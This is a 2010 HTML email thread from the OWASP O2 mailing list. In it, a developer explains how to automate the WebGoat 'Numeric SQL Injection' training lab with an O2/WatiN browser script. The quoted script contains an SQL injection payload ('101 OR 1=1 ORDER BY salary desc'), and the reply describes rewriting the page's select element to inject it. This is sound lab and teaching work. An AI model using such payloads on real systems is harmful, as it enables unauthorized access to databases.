Hi Thiago<div><br></div><div>Thanks for giving O2 a try, I&#39;ve looked at your script and have come up with a <i>first-pass-at-a-solution</i> which you can get from here: <a href="http://o2platform.wordpress.com/2010/12/03/solving-webgoat-sql-injection-lesson-3rd-one/">http://o2platform.wordpress.com/2010/12/03/solving-webgoat-sql-injection-lesson-3rd-one/</a></div>
<div><br></div><div>Expanding on how the blog&#39;s entry description on I solved the problem you where having (i.e. how to change the value of the<i> ie.selectLists()[1].options()[0].select() </i>field), here are the specific steps/workflow I took to address it: </div>
<div><br></div><div><ul><li>See if there is an Watin_IE extension method that already supports this (see <a href="http://code.google.com/p/o2platform/source/browse/trunk/O2_Scripts/APIs/Windows/WatiN/WatiN_IE_ExtensionMethods.cs">Watin_IE_ExtensionMethod.cs</a> for the full list). Unfortunately, today (unlike TextBoxes for example) that is not there (basically because nobody asked for it before :)  ). Also note that this version of WatiN doesn&#39;t support the direct editing of this value, i.e.: <meta charset="utf-8"><i>ie.selectLists()[1].options()[0].Value = PAYLOAD</i></li>
<li>Since there was no easy way to change it (and I was pressed for time), I decided to manipulate directly the HTML (instead of creating the extension method):</li><ul><li>First I tried to change the value of the Option directly: <meta charset="utf-8"><i>ie.selectLists()[1].options()[0].outerHtml(&quot;PAYLOAD&quot;) </i>which although worked in the control, it broke the HTML of the page</li>
<li>I then decided to change the select control directly, ie: <meta charset="utf-8"><i>ie.selectLists()[1].outerHtml(&quot;PAYLOAD&quot;) </i>which worked ok (note that that actual payload was a search and replace for the current value of the option we wanted to edit</li>
</ul><li>Once the Html was modified, it was just a case of submitting the button using <i>ie.button(&quot;ViewProfile&quot;).click(); </i></li><li>I also added a check at the end to make sure it was working</li></ul><div>
Couple notes:</div></div><div><ul><li>This script can be dramatically simplified once we add support for modifying the Options Html tag to the <meta charset="utf-8"><a href="http://code.google.com/p/o2platform/source/browse/trunk/O2_Scripts/APIs/Windows/WatiN/WatiN_IE_ExtensionMethods.cs">Watin_IE_ExtensionMethod.cs</a>). There is also a number of debug message that I put in this code to help understanding what is going on (which can be removed)</li>
<li>There is actually an WebGoat API which could be used to perform a number of actions (see <a href="http://code.google.com/p/o2platform/source/browse/trunk/O2_Scripts/_Sample_Vulnerabilities/WebGoat/API_WebGoat.cs">API_WebGoat.cs</a>)</li>
<li>This script should be converted into an UnitTest with the final check done using an Assert.That(...)</li><li>For performance reasons this script can also be written without IE Browser automation (O2 also has extended support for direct Http Requests/Responses manipulations)</li>
<li>One of the research projects that I&#39;m doing at the moment (and could really do with some help) is how to &#39;translate&#39; this script into something that can be consumed by an BlackBox scanner or proxy (one of my targets is Custom O2 version of <a href="http://www.mavitunasecurity.com/">Netsparker</a> that I&#39;m building)</li>
</ul><div>Let us know if this works out for you</div><div><br></div><div>Dinis Cruz</div></div><div><br></div><div>Blog: <a href="http://diniscruz.blogspot.com">http://diniscruz.blogspot.com</a><br>Twitter: <a href="http://twitter.com/DinisCruz">http://twitter.com/DinisCruz</a><br>
Web: <a href="http://www.owasp.org/index.php/O2">http://www.owasp.org/index.php/O2</a><br>
<br><br><div class="gmail_quote">On 3 December 2010 13:12, Thiago Stuckert <span dir="ltr">&lt;<a href="mailto:thiago.melo.stuckert@gmail.com">thiago.melo.stuckert@gmail.com</a>&gt;</span> wrote:<br><blockquote class="gmail_quote" style="margin:0 0 0 .8ex;border-left:1px #ccc solid;padding-left:1ex;">
<font style="font-family:arial,helvetica,sans-serif;color:rgb(0, 0, 0)" size="2"><span lang="en"><span style="background-color:rgb(235, 239, 249)" title=""><span style="background-color:rgb(255, 255, 255)">Hi, I am trying to solve the third stage of WebGoat sqli through the O2.<br>

I can select the larry profile in the list with: </span></span></span></font><font style="font-family:arial,helvetica,sans-serif;color:rgb(0, 0, 0)" size="2"><span lang="en"><span style="background-color:rgb(235, 239, 249)" title=""><span style="background-color:rgb(255, 255, 255)">ie.selectLists()[1].options()[0].select().flash();</span></span></span></font><br>

<font style="font-family:arial,helvetica,sans-serif;color:rgb(0, 0, 0)" size="2"><span lang="en"><span style="background-color:rgb(235, 239, 249)" title=""><span style="background-color:rgb(255, 255, 255)">but I fail to change the value of the paramater id. <br>

<br>Another way to do this, is intercept the request with webscarab, <br>Someone automated the webscarab with O2?<br></span></span></span></font><font style="font-family:arial,helvetica,sans-serif;color:rgb(0, 0, 0)" size="2"><span lang="en"><span style="background-color:rgb(235, 239, 249)" title=""><span style="background-color:rgb(255, 255, 255)"><br>

Follow my script:<br><br>panel.clear();<br>var ie = panel.add_IE().silent(true);<br><br>ie.open(&quot;<a href="http://172.16.234.138" target="_blank">http://172.16.234.138</a>&quot;);<br>ie.link(&quot;OWASP WebGoat version 5.3.x&quot;).click();<br>

ie.link(&quot;Injection Flaws&quot;).click();<br>ie.link(&quot;LAB: SQL Injection&quot;).click();<br>ie.link(&quot;Stage 3: Numeric SQL Injection&quot;).click();<br><br>/*Login with larry user*/<br>ie.field(&quot;password&quot;).value(&quot;larry&quot;);<br>

ie.button(&quot;Login&quot;).flash().click();<br><br>ie.selectLists()[1].options()[0].select().flash();<br>var payload = &quot;101 OR 1=1 ORDER BY salary desc&quot;;<br><br>/*Change the id*/<br>/* I couldnt do this */<br>

<br>ie.button(&quot;ViewProfile&quot;).click();<br><br>return 0;<br><br></span></span></span></font><font style="font-family:arial,helvetica,sans-serif;color:rgb(0, 0, 0)" size="2"><span lang="en"><span style="background-color:rgb(235, 239, 249)" title=""><span style="background-color:rgb(255, 255, 255)"></span></span></span></font>-- <br>
<font color="#888888">
Thiago<br>
</font><br>_______________________________________________<br>
Owasp-o2-platform mailing list<br>
<a href="mailto:Owasp-o2-platform@lists.owasp.org">Owasp-o2-platform@lists.owasp.org</a><br>
<a href="https://lists.owasp.org/mailman/listinfo/owasp-o2-platform" target="_blank">https://lists.owasp.org/mailman/listinfo/owasp-o2-platform</a><br>
<br></blockquote></div><br></div>